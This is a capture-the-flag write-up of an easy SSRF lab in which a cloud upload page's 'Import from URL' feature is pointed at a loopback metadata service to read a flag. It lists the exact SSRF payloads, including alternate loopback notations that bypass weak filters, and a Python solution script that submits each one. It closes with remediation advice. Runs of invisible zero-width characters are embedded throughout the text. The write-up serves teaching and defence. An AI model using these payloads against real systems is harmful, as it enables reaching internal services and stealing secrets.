Lab 95 — CloudCrate — SSRF in File Import Feature

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-26 | Status: Solved Techniques: alternate_loopback_notation, internal_api_abuse, localhost_enumeration, ssrf_reconnaissance

Summary

Task: CloudCrate upload page includes an Import from URL feature that performs server-side fetches on attacker-supplied URLs. Solution: exploit SSRF to enumerate localhost services, query the internal metadata API on port 3001, and read the flag from /flag.

Lab 95 — CloudCrate — SSRF in File Import Feature — Hackadvisor

Description

CloudCrate includes an Upload page with an Import from URL feature. The application performs server-side HTTP requests to user-supplied URLs. Goal: abuse this behavior to reach internal services that are not exposed externally. Important hint: test http://localhost:3001/.

English summary: CloudCrate lets authenticated users import files by URL, and the backend fetches the supplied address itself. The goal is to turn that server-side request into access to internal-only services and extract sensitive data. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Summary

This challenge is a straightforward SSRF caused by a backend URL import feature that trusts attacker-controlled destinations. By pointing the importer at loopback addresses, it was possible to enumerate an internal metadata service and retrieve the flag directly from its /flag endpoint.

Vulnerability

The Upload page exposes an Import from URL feature that sends a server-side HTTP request to the exact URL provided by the user. Because the backend does not restrict destinations such as localhost, RFC1918 ranges, or alternate loopback representations, an authenticated user can pivot from the public application into internal-only services. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Expected behavior:

• The importer should only fetch approved external destinations.
• Requests to loopback, link-local, and private address space should be blocked.
• Internal services should require authentication and never expose secrets to arbitrary local callers.

Actual behavior:

• CloudCrate fetched attacker-supplied loopback URLs.
• The internal metadata service on port 3001 was reachable.
• The /flag endpoint returned the secret directly.

Exploitation

Step 1: Log in

Authenticate with the provided account: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 text read-only • copy allowed Copy
Email: user@test.com
Password: password123

Step 2: Identify SSRF in Import from URL

On the Upload page, use the Import from URL feature and provide an internal target instead of a normal external file URL. The server performs the request on behalf of the user, confirming SSRF.

Initial test payload:

 text read-only • copy allowed Copy
http://localhost:3001/

Response:

 json read-only • copy allowed Copy
{"service":"CloudCrate Internal Metadata Service","version":"2.4.1","status":"running","endpoints":["GET /health","GET /config","GET /metrics","GET /flag"]}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This confirmed three important facts:

1. The request was executed by the server.
2. Loopback access was allowed.
3. The internal service advertised a sensitive /flag endpoint.

Step 3: Request the internal flag endpoint

Send the importer to:

 text read-only • copy allowed Copy
http://localhost:3001/flag

Response:

 json read-only • copy allowed Copy
{"secret":"FLAG{REDACTED}","note":"Internal configuration key - do not expose externally"}

The secret field contained the flag.

Step 4: Alternative loopback notations

The filter was also bypassable through alternate localhost representations, all of which resolved to the same internal service: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 text read-only • copy allowed Copy
http://127.0.0.1:3001/
http://127.1:3001/
http://0:3001/
http://2130706433:3001/

These variants matter because weak SSRF filters often block only the literal string localhost while still permitting equivalent loopback forms.

Exact Payloads

 text read-only • copy allowed Copy
http://localhost:3001/
http://localhost:3001/flag
http://127.0.0.1:3001/
http://127.1:3001/
http://0:3001/
http://2130706433:3001/

Solution Script

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

BASE = "https://TARGET.labs.hackadvisor.io"
EMAIL = "user@test.com"
PASSWORD = "password123"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

s = requests.Session()

# Adjust these endpoints/parameters to the exact lab implementation if needed.
s.post(f"{BASE}/login", data={"email": EMAIL, "password": PASSWORD})

for url in [
    "http://localhost:3001/",
    "http://localhost:3001/flag",
    "http://127.0.0.1:3001/",
    "http://127.1:3001/",
    "http://0:3001/",
    "http://2130706433:3001/",
]:
    r = s.post(f"{BASE}/upload/import", json={"url": url})
    print(f"[*] {url}")
    print(r.text)
    print()

Remediation

• Do not let backend fetchers access loopback, private, link-local, or cloud metadata ranges.
• Resolve hostnames server-side and re-validate the final IP after redirects and DNS resolution.
• Maintain an allowlist of approved outbound destinations for import features.
• Separate internal metadata services from user-reachable application networks.
• Require authentication/authorization on internal endpoints and never expose secrets through unauthenticated diagnostic APIs. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍